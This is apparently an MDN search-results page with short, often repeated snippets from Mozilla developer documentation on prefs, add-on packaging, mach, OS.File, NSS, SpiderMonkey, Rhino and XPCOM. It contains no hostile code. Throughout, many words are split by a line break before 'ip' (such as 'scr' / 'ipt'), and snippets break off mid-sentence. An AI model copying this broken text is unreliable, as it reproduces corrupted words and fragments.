...ost part, an automatic reframe is performed when one of these prefs is changed. a reframe fixes the appearance of the page to match the new prefs, without reloading the document over the network. ...
...(ns_pref_contractid, &rv)); prefs->setboolpref("bool.pref.name", pr_true /* or pr_false */); prefs->setintpref("int.pref.name", newvalue); prefs->setcharpref("string.pref.name", newcharstarvalue); to manually add a pref to your settings, add a line like the following to your prefs.js: user_pref("accessibility.browsewithcaret", true); accessibility prefs reference the following is a descr
iption of what accessibility prefs give us (or will give us), for accessibility: functionality implementation works as of images setintpref("network.image.imagebehavior", behavior); /* behavior: 0=accept, 1=accept images from originating server only, 2=no images */ ...
...And 4 more matches
Creating a spell check dictionary add-on
t the language of a web page in order to select the right dictionary to use. if you are creating a new dictionary, as opposed to updating an existing one, please make sure that there is not already a dictionary available for your locale. if there already is one, try contacting the author to get it updated, or contact amo editors if the author does not respond. packaging a firefox add-on is a z
ip file renamed to use an .xpi file extension instead of the normal .z
ip file extension. to create a dictionary add-on, simply create a z
ip file which contains the following files and folders: my-dictionary.xpi install.rdf dictionaries/ locale-code.dic locale-code.aff the .dic and .aff files must be placed in a subfolder named dictionaries within the z
ip file. both files must ha...
...this file contains information about your add-on such as name and version number (see below). in addition to these required files, you may add optional files, for example to give your add-on an icon or to describe the license of the dictionary. here is an example of the install.rdf file. you can create and edit it with a plain text editor such as notepad. ...
...on to these required files, you may add optional files, for example to give your add-on an icon or to describe the license of the dictionary. here is an example of the install.rdf file. you can create and edit it with a plain text editor such as notepad. ...
...And 4 more matches
Contributing to the Mozilla code base
this page should guide you through the initial steps of contributing to mozilla. welcome, we're delighted to see you! :) need help? the mozilla community prides itself on being an open, accessible, and friendly community for new partic
ipants. if you have any difficulties getting involved or finding answers to your questions, please come and ask your questions in our chatroom, where we can help you get started. we know even before you start contributing that getting set up to work on firefox and finding a bug that's a good fit for your skills can be a challenge. we're always looking for ways to improve this process: making mozilla more open, accessible, and easier to partic
ipate with. if you're having any trouble following this documentation, or hit a barrier you can't get around,...
...a is a large project and we are thrilled to have contributors with very diverse skills below is a table with our currently available projects to contribute to, along with the skills needs and links to their documentation. ...
...ls below is a table with our currently available projects to contribute to, along with the skills needs and links to their documentation. ...
...And 4 more matches
mach
t: $ ./mach mochitest browser/base/content/test/general/browser_pinnedtabs.js you run mach from the source directory, so you should be able to use your shell's tab completion to tab-complete paths to tests. mach figures out how to execute the tests for you! check out the linting and analysis tools: $ ./mach lint $ ./mach static-analysis mach and mozconfigs it's possible to use mach with mult
iple mozconfig files. mach's logic for determining which mozconfig to use is effectively the following: if a .mozconfig file (some say it is the file mozconfig without the dot) exists in the current directory, use that. if the mozconfig environment variable is set, use the file pointed to in that variable. if the current working directory mach is invoked with is inside an object directory, the ...
... linux distro or derivate thereof ("manjaro"), you have something less tedious: octopi! just install thunderbird from sources out of the aur repo! many pkgbuild options to choose from and most work like a charm - while "mach" may not necessarily work like a charm for everyone. why even bother with a competing build system in arch when octopi does what you want and even has a gui? those makepkg scr
ipts named pkgbuild are (typically) simple bash scr
ipts that are easy to maintain and modify. python based mach tends to involve more complexity and potential for breakage. another possible reason: mach gives you an error, while running, say bootstrap.py directly (that is to type in a bash shell: python2 ./bootstrap.py enter-key ) in an otherwise empty ..../subdir/ may work for you! less may be b...
...s mach have its own configuration file? yes. you can specify configuration settings in a ~/.mozbuild/machrc file. to see the list of the 4 available settings ( which are: alias , test , try , runprefs ) type : $ ./mach settings should i implement x as a mach command? there are no hard or fast rules. generally speaking, if you have some piece of functionality or action that is useful to mult
iple people (especially if it results in productivity wins), then you should consider implementing a mach command for it. some other cases where you should consider implementing something as a mach command: when your tool is a random scr
ipt in the tree. random scr
ipts are hard to find and may not conform to coding conventions or best practices. mach provides a framework in which your tool can li...
...And 4 more matches
Experimental features in Firefox
of firefox along with information on how to activate them, if necessary. you can test your web sites and applications before these features get released and ensure everything will still work with the latest web technology capabilities. to test these experimental features, you need to download firefox nightly or firefox developer edition. which you need is described alongside each feature's descr
iption below. editor's note: when adding features to these tables, please try to include a link to the relevant bug or bugs using the bug macro: {{bug(bug-number)}}. html element: <dialog> the html <dialog> element and its associated dom apis provide support for html-based modal dialog boxes. the current implementation is a little inelegant but is basically functional. see bug 840640 for more ...
...no developer edition 64 no beta 64 no release 64 no preference name media.setsinkid.enabled htmlmediaelement properties: audiotracks and videotracks enabling this feature adds the htmlmediaelement.audiotracks and htmlmediaelement.videotracks properties to all html media elements. however, because firefox doesn't currently suport mult
iple audio and video tracks, the most common use cases for these properties don't work, so they're both disabled by default. see bug 1057233 for more details. release channel version added enabled by default? nightly 33 no developer edition 33 no beta 33 no release 33 no preference name media.track.enabled ...
...the spec for this api is still being written. the value changes over time depending on what the user is doing, their preferences, and the state of the browser in general. potential values include allowed (autoplay is currently permitted), allowed-muted (autoplay is allowed but only with no--or muted--audio), and disallowed (autoplay is not allowed at this time). see bug 1506289 for more de...
...And 4 more matches
Creating a New Protocol
the protocol hierarchy unless you are working on some special project, your protocol will fit into the protocol hierarchy for multi-process plugins or tabs. ...
...the protocol hierarchy unless you are working on some special project, your protocol will fit into the protocol hierarchy for multi-process plugins or tabs. ...
...the protocol hierarchy unless you are working on some special project, your protocol will fit into the protocol hierarchy for multi-process plugins or tabs. ...
...And 4 more matches
OS.File for the main thread
this page details how to use file i/o from the main thread. for other uses of os.file, please see the corresponding page. using os.file from a jsm to import os.file into your chrome code, add the following line at the start of your scr
ipt: components.utils.import("resource://gre/modules/osfile.jsm") promises before using os.file from the main thread, you need some understanding of the promise library. see the promise object documentation for details. also, os.file plays very nicely with task.jsm. example: read the contents of a file as text the following sn
ippet opens a file "file.txt" and read its contents as a string, using the default encoding (utf-8). the content is read asynchronously. the result is a promise. let decoder = new textdecoder(); // this decoder ca...
...ew textdecoder(); // this decoder can be reused for several reads let promise = os.file.read("file.txt"); // read the complete file as an array promise = promise.then( function onsuccess(array) { return decoder.decode(array); // convert this array to a text } ); this example requires firefox 18 or a more recent version. example: write a string to a file the following sn
ippet writes the text "this is some text" to a string "file.txt", using the default encoding (utf-8). it uses an atomic write to ensure that the file is not modified if, for some reason, the write cannot complete (typically because the computer is turned off, the battery runs out, or the application is stopped.) let encoder = new textencoder(); // this encoder can ...
... console.log('rename successful') }, function(arejectreason) { console.log('rename failed, arejectreason = ', arejectreason) } ) the nooverwrite true is important, as default is false which means if a file in the directory exists already with the same name it will no longer be there after this "rename" operation, which is a "move". ...
...And 4 more matches
PopupNotifications.jsm
note: this code module is imported by firefox chrome windows, so you don't have to do it yourself in most extensions. ...
... note: this code module is imported by firefox chrome windows, so you don't have to do it yourself in most extensions. ...
...s code module is imported by firefox chrome windows, so you don't have to do it yourself in most extensions. method overview void locationchange(); notification getnotification(id, browser); void remove(notification); notification show(browser, id, message, anchorid, mainaction, secondaryactions, options); properties attribute type descr
iption ispanelopen boolean returns true if the notification panel is currently visible, false if it is not. methods locationchange() the consumer can call this method to let the popup notification module know that the current browser's location has changed. this lets the notification service update the active notifications as appropriate. note: you shouldn't need to call thi...
...And 4 more matches
PromiseWorker.jsm
like chromeworker objects, promiseworker is mostly used for js-ctypes but it is not limited to that. there is no xpcom access, similar to chromeworker. this answers the question "when should i use a promiseworker?", and the answer is, whenever you would normally use a chromeworker, but want postmessage to return promises. ...
...worker. this answers the question "when should i use a promiseworker?", and the answer is, whenever you would normally use a chromeworker, but want postmessage to return promises. the promiseworker object is used to deliver all of the os.file functionality to the main thread. here is the test case from firefox codebase: mozilla dxr :: test_promise.js. ...
...omeworker, but want postmessage to return promises. the promiseworker object is used to deliver all of the os.file functionality to the main thread. here is the test case from firefox codebase: mozilla dxr :: test_promise.js. promiseworker module consists of two javascr
ipt files, promiseworker.jsm and promiseworker.js. promiseworker.jsm path: resource://gre/modules/promiseworker.jsm a javascr
ipt code module used by the main thread to create a worker thread and communicate with it. promiseworker.jsm provides basepromiseworker. promiseworker.js path: resource://gre/modules/workers/promiseworker.js a javascr
ipt file used by the worker thread, which is created by promiseworker.jsm in main thread, to communicate with the main thread. promiseworker.js provides abstractworker. here's the s...
...And 4 more matches
Sqlite.jsm
sqlite.jsm offers some compelling advantages over the low-level storage xpcom interfaces: automatic statement management. sqlite.jsm will create, manage, and destroy statement instances for you. you don't need to worry about caching created statement instances, destroying them when you are done, etc. this translates to fewer lines of code to talk to sqlite. all operations are asynchronous. use of synchronous storage apis is discouraged because they block the main thread. all the functionality in sqlite.jsm is asynchronous. easier memory management. ...
...ince sqlite.jsm manages statements for you, it can perform intelligent actions like purging all cached statements not in use, freeing memory in the process. there is even a shrinkmemory api that will minimize memory usage of the connection automatically. simpler transactions. ...
...i that will minimize memory usage of the connection automatically. simpler transactions. sqlite.jsm exposes a transaction api built on top of task.jsm that allows transactions to be written as procedural javascr
ipt functions (as opposed to a series of callback driven operations). if the function throws, the transaction is automatically rolled back. this makes code easy to write and read. javascr
ipt-y api. sqlite.jsm feels like a pure javascr
ipt module. the complexities of xpcom are mostly hidden from view. javascr
ipt programmers should feel right at home using sqlite.jsm. note: the sqlite.jsm javascr
ipt code module can only be used from chrome -- that is, from within the application itself or an add-on. before you can use this module, you need to import it into your scope: components.u...
...And 4 more matches
Scroll-linked effects
="height: 5000px" onscroll="document.getelementbyid('toolbar').style.top = math.max(100, window.scrolly) + 'px'"> <div id="toolbar" style="position: absolute; top: 100px; width: 100px; height: 20px; background-color: green"></div> </body> this implementation of sticky positioning relies on the scroll event listener to reposition the "toolbar" div. as the scroll event listener runs in the javascr
ipt on the browser's main thread, it will be asynchronous relative to the user-visible scrolling. therefore, with asynchronous scrolling, the event handler will be delayed relative to the user-visible scroll, and so the div will not stay visually fixed as intended. instead, it will move with the user's scrolling, and then "snap" back into position when the scroll event handler runs. this constant mo...
...round-color: green"></div> </body> this version works well with asynchronous scrolling because position of the "toolbar" div is updated by the browser as the user scrolls. example 2: scroll snapping below is an implementation of scroll snapping, where the scroll position snaps to a particular destination when the user's scrolling stops near that destination. ...
...if it is, then it triggers an animation to "snap" the scroll position to the top of the div. as this ani...
...And 4 more matches
I/O Functions
his chapter describes the nspr functions used to perform operations such as system access, normal file i/o, and socket (network) i/o. for sample code that illustrates basic i/o operations, see introduction to nspr. for information about the types most commonly used with the functions described in this chapter, see i/o types. functions that operate on pathnames functions that act on file descr
iptors directory i/o functions socket man
ipulation functions converting between host and network addresses memory-mapped i/o functions anonymous p
ipe function polling functions pollable events man
ipulating layers functions that operate on pathnames a file or directory in a file system is specified by its pathname. nspr uses unix-style pathnames, which are null-terminated character strings...
...athname. nspr converts the slashes in a pathname to the directory separator of the native os--for example, backslash (\) on windows and colon (:) on mac os--before passing it to the native system calls. some file systems also differentiate drives or volumes. ...
...calls. some file systems also differentiate drives or volumes. pr_open pr_delete pr_getfileinfo pr_getfileinfo64 pr_rename pr_access type praccesshow functions that act on file descr
iptors pr_close pr_read pr_write pr_writev pr_getopenfileinfo pr_getopenfileinfo64 pr_seek pr_seek64 pr_available pr_available64 pr_sync pr_getdesctype pr_getspecialfd pr_createp
ipe directory i/o functions pr_opendir pr_readdir pr_closedir pr_mkdir pr_rmdir socket man
ipulation functions the network programming interface presented here is a socket api modeled after the popular berkeley sockets. differences include the following: the blocking socket functions in nspr take a timeout parameter. two new functions, pr_transmitfile and pr_acceptread, can exploit th...
...And 4 more matches
NSS 3.12.4 release notes
from cvs by cvs co -r nspr_4_8_rtm nspr cvs co -r nss_3_12_4_rtm nss see the documentation section for the build instructions. nss 3.12.4 source is also available on ftp.mozilla.org for secure https download: source tarball: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_12_4_rtm/src/. major changes in nss 3.12.4 nss 3.12.4 is the version that we submitted to nist for f
ips 140-2 validation. currently nss 3.12.4 is in the "review pending" state in the f
ips 140-2 pre-validation list at http://csrc.nist.gov/groups/stm/cmvp/documents/140-1/140inprocess.pdf added crl distribution point support (see cert.h). cert_decodecrlissuingdistributionpoint cert_findcrlissuingdistpointexten the old documentation of the expression matching syntax rules was incorrect, and the n...
...error_bad_info_access_method sec_error_crl_import_failed new oids (see secoidt.h) sec_oid_x509_any_policy the nssckbi pkcs #11 module's version changed to 1.75. obsolete code for win16 has been removed. support for openvms has been removed. bugs fixed the following bugs have been fixed in nss 3.12.4. ...
...bug 470500: firefox 3.1b2 crash report [[@ nssutil3.dll@0x34c0 ] bug 482742: enable building util independently of the rest of nss bug 483653: unable to build certutil.exe for fennec/wince bug 485145: miscellaneous crashes in signtool on windows bug 485155: nss_enable_pkix_verify=1 cau...
...And 4 more matches
Enc Dec MAC Using Key Wrap CertReq PKCS10 CSR
progname, " -<g|a|h|e|ds|v> -d <dbdirpath> ", "[-p <dbpwd> | -f <dbpwdfile>] [-z <noisefilename>] [-a <\"\">]", "-s <subject> -r <csr> | ", "-n <nickname> -t <trust> -c <cert> [ -r <csr> -u <issuernickname> [-x <\"\">] -m <serialnumber> ] | ", "-n <nickname> -b <headerfilename> | ", "-b <headerfilename> -i <
ipfilename> -e <encryptfilename> | ", "-b <headerfilename> -i <
ipfilename> | ", "-b <headerfilename> -i <
ipfilename> | ", "-b <headerfilename> -e <encryptfilename> -o <opfilename> \n"); fprintf(stderr, "commands:\n\n"); fprintf(stderr, "%s %s\n --for generating cert request (for ca also)\n\n", progname, "-g -s <subject> -r <csr>"); ...
... progname, "-a -n <nickname> -t <trust> -c <cert> [ -r <csr> -u <issuernickname> [-x <\"\">] -m <serialnumber> ]"); fprintf(stderr, "%s %s\n --to put cert in header\n\n", progname, "-h -n <nickname> -b <headerfilename> [-v <\"\">]"); fprintf(stderr, "%s %s\n --to find public key from cert in header and encrypt\n\n", progname, "-e -b <headerfilename> -i <
ipfilename> -e <encryptfilename> "); fprintf(stderr, "%s %s\n --decrypt using corresponding private key \n\n", progname, "-d -b <headerfilename> -e <encryptfilename> -o <opfilename>"); fprintf(stderr, "%s %s\n --sign using private key \n\n", progname, "-s -b <headerfilename> -i <infilename> "); fprintf(stderr, "%s %s\n --verify using public key \n\n", ...
...(stderr, "%s %s\n --decrypt using corresponding private key \n\n", progname, "-d -b <headerfilename> -e <encryptfilename> -o <opfilename>"); fprintf(stderr, "%s %s\n --sign using private key \n\n", progname, "-s -b <headerfilename> -i <infilename> "); fprintf(stderr, "%s %s\n --verify using public key \n\n", progname, "-v -b <headerfilename> -i <
ipfilename> "); fprintf(stderr, "options:\n\n"); fprintf(stderr, "%-30s - db directory path\n\n", "-d <dbdirpath>"); fprintf(stderr, "%-30s - db password [optional]\n\n", "-p <dbpwd>"); fprintf(stderr, "%-30s - db password file [optional]\n\n", "-f <dbpwdfile>"); fprintf(stderr, "%-30s - noise file name [optional]\n\n", ...
...And 4 more matches
NSS Sample Code sample6
nss sample code 6: persistent symmetric keys in nss database /* example code to illustrate generation of a secret symmetric key ring * that persists in the nss database. the symmetric keys can then be used * without ever exposing them in the clear. * * to encrypt, you need the id of the key to use. * to decrypt, you need the c
iphertext and the id of the key that was used * to encrypt * * before running this example, create the nss database * certutil -n -d . * (enter "test" when prompted for password) */ #include "nss.h" #include "pk11pub.h" /* the key id can be any sequence of bytes. this example happens to use an * integer */ void genkey(int id); /* this callback is responsible for returning the password to the nss * key database. for example purposes, this fu...
... * error code: token is read-only. ?? */ if (slot == null) { fprintf(stderr, "unable to find security device (err %d)\n", pr_geterror()); return; } keyid[0] = id; keyidite...
... * error code: token is read-only. ?? */ if (slot == null) { fprintf(stderr, "unable to find security device (err %d)\n", pr_geterror()); return; } keyid[0] = id; keyiditem.type = sibuffer; keyiditem.data = (void *)keyid; keyiditem.le...
...And 4 more matches
PKCS11 FAQ
ed the module, the module's certificates simply appear in the list of certificates displayed in the certificate window. what version of pkcs #11 does nss support? nss requires at least pkcs #11 version 2.0, but can support some features of later versions of nss, including nss 2.20. nss does not use all the features of later versions of pkcs #11. ...
...pport some features of later versions of nss, including nss 2.20. nss does not use all the features of later versions of pkcs #11. what are the expectations in terms of session man
ipulation? will nss potentially open more than one session at a time? read-only sessions, read/write sessions, serial, parallel? nss typically holds one session read-only session per slot, in which some of the non-mult
ipart functions are handled. mult
ipart functions, such as bulk encryption, hashing, and mac functions (for example, c_digest and c_sign) and those that require overlapped operation (c_unwrap, c_decrypt) are handled by creating new sessions. if no new sessions are available, the one read-only session is used, and the state is saved and restored after each mult
ipart operation. nss never uses parallel...
... from the token. labels should not have any trailing blank characters. will nss use the random number generation features of pkcs #11? only if you identify your token as the default random number generator. if you do, your token must be able to generate random numbers even when it is not logged in. nss uses installed random number generators if pkcs11_mech_random_flag is set in the installer scr
ipt. for information on how to do this, see using the jar installation manager to install a pkcs #11 cryptographic module. can mozilla provide a list of all pkcs #11 functions that nss will use? your token should expect to implement all the pkcs #11 functions that make sense for your token. nss continues to evolve, and periodically enhances it's functionality by using a more complete list of pkcs ...
...And 4 more matches
NSS cryptographic module
functions that one can use to perform cryptographic operations with the nss cryptographic module. the nss cryptographic module uses the industry standard pkcs #11 v2.20 as its api with some extensions. therefore, an application that supports pkcs #11 cryptographic tokens can be easily modified to use the nss cryptographic module. ...
...use to perform cryptographic operations with the nss cryptographic module. the nss cryptographic module uses the industry standard pkcs #11 v2.20 as its api with some extensions. therefore, an application that supports pkcs #11 cryptographic tokens can be easily modified to use the nss cryptographic module. the nss cryptographic module has two modes of operation: the non-f
ips (default) mode and f
ips mode. ...
...cryptographic operations with the nss cryptographic module. the nss cryptographic module uses the industry standard pkcs #11 v2.20 as its api with some extensions. therefore, an application that supports pkcs #11 cryptographic tokens can be easily modified to use the nss cryptographic module. the nss cryptographic module has two modes of operation: the non-f
ips (default) mode and f
ips mode. ...
...And 4 more matches
Download Rhino
rhino is available for download both in source and compiled form. ...
... rhino is available for download both in source and compiled form. ...
... rhino is available for download both in source and compiled form. ...
...And 4 more matches
Rhino Examples
examples have been provided that show how to control the javascr
ipt engine and how to implement scr
iptable host objects. all the examples are in the git tree at mozilla/js/rhino/examples. sample scr
ipts the unique.js scr
ipt allows printing unique lines from a file. the liveconnect.js scr
ipt shows a sample usage of liveconnect (java-to-javascr
ipt connectivity). the jsdoc.js scr
ipt is a javascr
ipt analog to java's javadoc. it makes heavy use of regular expressions. the checkparam.js scr
ipt is a useful tool to check that @param tags in java documentation comments match the parameters in the corresponding java method. ...
...ng unique lines from a file. the liveconnect.js scr
ipt shows a sample usage of liveconnect (java-to-javascr
ipt connectivity). the jsdoc.js scr
ipt is a javascr
ipt analog to java's javadoc. it makes heavy use of regular expressions. the checkparam.js scr
ipt is a useful tool to check that @param tags in java documentation comments match the parameters in the corresponding java method. the enum.js scr
ipt is a good example of using a javaadapter to implement a java interface using a javascr
ipt object. the nervoustext.js scr
ipt is a javascr
ipt implementation of the famous nervoustext applet using javascr
ipt compiled to java classes using jsc. it can be run in the html page nervoustext.html. ...
...ion comments match the parameters in the corresponding java method. the enum.js scr
ipt is a good example of using a javaadapter to implement a java interface using a javascr
ipt object. the nervoustext.js scr
ipt is a javascr
ipt implementation of the famous nervoustext applet using javascr
ipt compiled to java classes using jsc. it can be run in the html page nervoustext.html. controlling the javascr
ipt engine the runscr
ipt class runscr
ipt.java is a simple program that executes a scr
ipt from the command line. the control class control.java is a program that executes a simple scr
ipt and then man
ipulates the result. javascr
ipt shell shell.java is a program that executes javascr
ipt programs; it is a simplified version of the shell in the tools package. the programs may be specified as files on the...
...And 4 more matches
JSVersion
the values of the jsversion enumerated type stand for particular versions of the javascr
ipt run-time. the functions js_getversion, js_setversion, js_stringtoversion, and js_versiontostring use these values. descr
iption the jsversion enumerated type includes the following values. each version has a name, which is a string used by js_stringtoversion and js_versiontostring. ...
...r
ipt run-time. the functions js_getversion, js_setversion, js_stringtoversion, and js_versiontostring use these values. descr
iption the jsversion enumerated type includes the following values. each version has a name, which is a string used by js_stringtoversion and js_versiontostring. ...
...nd js_versiontostring use these values. descr
iption the jsversion enumerated type includes the following values. each version has a name, which is a string used by js_stringtoversion and js_versiontostring. ...
...And 4 more matches
JS_DefineProperty
tr); bool js_defineucproperty(jscontext *cx, js::handleobject obj, const char16_t *name, size_t namelen, double value, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); // ---- added in spidermonkey 45 ---- bool js_definepropertybyid(jscontext *cx, js::handleobject obj, js::handleid id, js::handle<jspropertydescr
iptor> desc, js::objectopresult &result); bool js_definepropertybyid(jscontext *cx, js::handleobject obj, js::handleid id, js::handle<jspropertydescr
iptor> desc); bool js_defineucproperty(jscontext *cx, js::handleobject obj, const char16_t *name, size_t namelen, js::handle<jspropertydescr
iptor> desc); // ---- added in spidermonkey 1...
...requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject the object on which to create the new property. name or id const char * or const char16_t *or js::handleid the name of the new property. namelen size_t (only i...
...he new property. namelen size_t (only in js_defineucproperty) the length of name, in characters; or (size_t) -1 to indicate that name is null-terminated. value js::handlevalue or js::handleobject or js::handlestring or int32_t or uint32_t or double initial stored value for the new property. getter jsnative the property getter callback, which the javascr
ipt engine will call each time the property's value is accessed; or null. setter jsnative the property setter callback, which the javascr
ipt engine will call each time the property is assigned; or null. attrs unsigned property attributes. desc js::handle<jspropertydescr
iptor> the property descr
iptor for the property to be defined. result ...
...And 4 more matches
JS_SetOperationCallback
obsolete since jsapi 30this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. this article covers features introduced in spidermonkey 1.8.5 set a callback function that is automatically called periodically while javascr
ipt code runs. these methods/types are renamed to js_setinterruptcallback, js_getinterruptcallback, js_requestinterruptcallback and jsinterruptcallback in spidermonkey 30. syntax void js_setoperationcallback(jscontext *cx, jsoperationcallback callback); jsoperationcallback js_getoperationcallback(jscontext *cx); void js_triggeroperationcallback(jsruntime *rt); name type descr
iption cx jscontext * a context. rt jsruntime...
...ontext *cx); void js_triggeroperationcallback(jsruntime *rt); name type descr
iption cx jscontext * a context. rt jsruntime * the runtime. callback jsoperationcallback (only in js_setoperationcallback) the callback function to install. callback syntax jsbool (*jsoperationcallback)(jscontext *cx); name type descr
iption cx jscontext * pointer to a jscontext in which this callback was installed. the callback may use this context to call jsapi functions, but it should first use js_setoperationcallback to set the context's operation callback to null. ...
... descr
iption cx jscontext * pointer to a jscontext in which this callback was installed. the callback may use this context to call jsapi functions, but it should first use js_setoperationcallback to set the context's operation callback to null. otherwise the engine may call the operation callback again, reentering it. provides request. in js_threadsafe builds, the javascr
ipt engine calls this callback only from within an active request on cx. the callback does not need to call js_beginrequest()). applications must not use both the operation callback api and the older branch callback api. ...
...And 4 more matches
SpiderMonkey 45
it continues to improve performance over previous spidermonkey releases. it also contains new language and api features described in detail below. ...
...erabilities. these release notes are incomplete. the mozilla javascr
ipt team is pleased to announce the release of spidermonkey 45. you can download full source code from https://ftp.mozilla.org/pub/spidermonkey/releases/45.0.2/mozjs-45.0.2.tar.bz2 sha256: 570530b1e551bf4a459d7cae875f33f99d5ef0c29ccc7742a1b6f588e5eadbee md5: 2ca34f998d8b5ea79d8616dd26b5fbab spidermonkey 45 is the javascr
ipt engine that sh
ipped in firefox 45. it continues to improve performance over previous spidermonkey releases. it also contains new language and api features described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: javascr
ipt engine. you may wis...
...aliased as "sm.embedding"). -- apr 14, 2016 platform support spidermonkey 45 is supported on all platforms able to run firefox 45. compiling it requires a c++ compiler, and the jsapi can only be used from c++ code. if you are compiling with microsoft's visual studio, note the minimum supported version is msvc 2013. spidermonkey 45 includes a just-in-time compiler (jit) that compiles javascr
ipt to machine code, for a significant speed increase. it is supported on x86, x86_64, and arm architectures. on several other platforms (sparc, m
ips), the jit is provided but not supported. on remaining platforms the jit is disabled; javascr
ipt code runs in an interpreter, as it has in previous versions. it's the same language, just not as fast. migrating to spidermonkey 45 spidermonkey 45 is no...
...And 4 more matches
Mozilla Projects
mozilla has a number of projects other than firefox itself. many of these are components of firefox or are tools used to create firefox, but may be used by other projects as well. here you'll find links to documentation about these projects. compare-locales compare-locales is a python scr
ipt that helps localizers to check their work without running firefox or another application. crash reporting firefox sh
ips with an open-source crash reporting system. this system is combination of projects: emscr
ipten emscr
ipten is an llvm to javascr
ipt compiler. it takes llvm bytecode (e.g. generated from c/c++ using clang, or from another language) and ...
... check their work without running firefox or another application. crash reporting firefox sh
ips with an open-source crash reporting system. this system is combination of projects: emscr
ipten emscr
ipten is an llvm to javascr
ipt compiler. it takes llvm bytecode (e.g. generated from c/c++ using clang, or from another language) and compiles that into javascr
ipt, which can be run on the web. firefox sync firefox sync synchronizes state and configuration data used by the browser, such as bookmarks, history, preferences, bookmarks, and so forth among all your devices. jshydra jshydra is a static analysis tool that is capable of performing analysis of general javascr
ipt code. l...
... l20n l20n lets localizers reach higher levels of free linguistic expression by sharpening the divide between localization and application logic. leak monitor leak monitor is a firefox extension by l. david baron that helps extension and chrome developers to find memory leaks. it will pop-up an alert when a window is closed and javascr
ipt still links to that window (for example, an observer that is not cleared when the window closes). mailnews mailnews stands for "mail and newsgroups". mailnews is the back end of the messaging parts of seamonkey and thunderbird. it provides a number of functions and capabilities, including: mccoy ...
...And 4 more matches
Gecko Roles
d by msaa only, this is supported automatically by microsoft windows. role_menubar represents the menu bar (positioned beneath the title bar of a window on most platforms or at the top of the screen on mac os x) from which menus are selected by the user. role_scrollbar represents a vertical or horizontal scroll bar, which is part of the client area or used in a control. role_gr
ip represents a special mouse pointer, which allows a user to man
ipulate user interface elements such as windows. for example, a user clicks and drags a sizing gr
ip in the lower-right corner of a window to resize it role_sound represents a system sound, which is associated with various system events. role_cursor represents the system mouse pointer. role_caret represents t...
...indow. the role is supported automatically by microsoft windows. role_internal_frame a sub-document. role_menupopup represents a menu, which presents a list of options from which the user can make a selection to perform an action. role_menuitem represents a menu item, which is an entry in a menu that a user can choose to carry out a command, select an option. role_toolt
ip represents a toolt
ip that provides helpful hints; this is generally displayed at the mouse cursor position. role_application represents a main window for an application. role_document represents a document window. a document window is always contained within an application window. role_pane represents a pane within a frame or document window. users can navigate between...
...anes within a window. role_toolbar represents a toolbar, which is a grouping of controls (push buttons or toggle buttons) that provides easy access to frequently used features. role_statusbar represents a status bar, which is an area at the bottom of a window that displays information about the current operation, state of the application, or selected object. the status bar has mult
iple fields, which display different kinds of information. role_table represents a table that contains rows and columns of cells, and optionally, row headers and column headers. role_columnheader represents a column header, providing a visual label for a column in a table. role_rowheader represents a row header, which provides a visual label for a table row. role_column ...
...And 4 more matches
Creating a Python XPCOM component
if you wish to use pyxpcom from a normal python executable, you will need to tell python where it can find the pyxpcom library. ...
... if you wish to use pyxpcom from a normal python executable, you will need to tell python where it can find the pyxpcom library. ...
... to tell python where it can find the pyxpcom library. this is probably best done by setting a pythonpath variable pointing at the 'bin/python' directory in the application. this is not necessary when your components are loaded by mozilla as the python loader modifies sys.path. then you can import xpcom in any python module (mostly, in your component). defining the interface make a file named "ns
ipysimple.idl" to define the interface: #include "nsisupports.idl" [scr
iptable, uuid(2b324e9d-a322-44a7-bd6e-0d8c83d94883)] interface ns
ipysimple : nsisupports { attribute string yourname; void write( ); void change(in string avalue); }; this is the same as the nsisimple interface used here. theoretically, because several components can share an interface, the same file could be used. p...
...And 4 more matches
Creating the Component Code
having the component found and registered properly is the goal of this first chapter of the tutorial. in the subsequent chapters, we can begin to work on the example weblock component functionality itself. use the calculator (after learning long division) you have to write a fair amount of code to create a component library that gets loaded into xpcom. an xpcom component needs to implement at least three interfaces that xpcom requires, and often others as well. there is more code in this chapter than you'll eventually need, however. ...
...lock component and the extra user interface. web lock user interface most of the actual work in the weblock component is preparing the component itself, finding the xpcom interfaces the component needs to use, and hooking into existing functionality within the gecko browser. component registration all xpcom components - whether they're stored in shared libraries (dlls, dsos, dylibs), javascr
ipt files, or otherwise - need to be registered before they can be used. registration is a process that happens in all xpcom applications, whether they're embedded gecko clients, mozilla, netscape 7, compuserve, or any other software that uses xpcom. registration provides the information that applications need in order to use components properly. the weblock component must do a number of things to ...
...t provides basic abstraction of the xpcom object itself. as you can see in onion peel view of xpcom component creation, the main accessor for the xpcom object is createinstance, which is expected to return the object that matches a given cid and iid pair. moving another layer outward is the nsimodule. this interface provides yet another abstraction of the nsifactory object, and may allow for mult
iple nsifactory objects. the key to this interface is that the return type of getclassobject does not have to be an nsifactory. instead, the nsimodule can ask for implementation details about the xpcom object. this is very useful if the caller is required to know information about the component like its threading module, whether or not it's a singleton, its implementation language, and so forth. the...
...And 4 more matches
Setting up the Gecko SDK
ng systems, and versions for other operating systems are being developed, and can be retrieved from as a single archive from the following platform-specific locations (need correction for last version (now 1.9.2.8). there is now separate archive with gecko-sdk, just xul-runner-sdk.): linux: http://ftp.mozilla.org/pub/mozi....8.0.4.tar.bz2 windows: http://ftp.mozilla.org/pub/mozi...vc-1.8.0.4.z
ip mac: http://ftp.mozilla.org/pub/mozi...ac-1.8.0.4.z
ip note that the version number for the archives above is 1.8. the weblock component was built with version 1.4a, which is no longer available. you may want to check for newer versions at gecko versions prior to 1.7: http://ftp.mozilla.org/pub/mozi...illa/releases/ gecko versions after 1.8: http://ftp.mozilla.org/pub/mozi...nner/releases/ ...
...sual cpp project section below) to point to this new location. when you extract the sdk, it should have the layout seen below: layout of the extracted sdk the directories represent different modules in the sdk. for example, the headers for networking are all located in the necko directory, and the headers that xpcom requires are in the xpcom directory. this directory structure makes build scr
ipts slightly more complicated (since there will be many different include paths), but it helps to organize the parts of the sdk meaningfully. the two top level header files are special. the file mozilla-config.h lists all of the defines used in the sdk. including this header file in your project ensures that the component you create uses the same defines as the gecko libraries themselves. note tha...
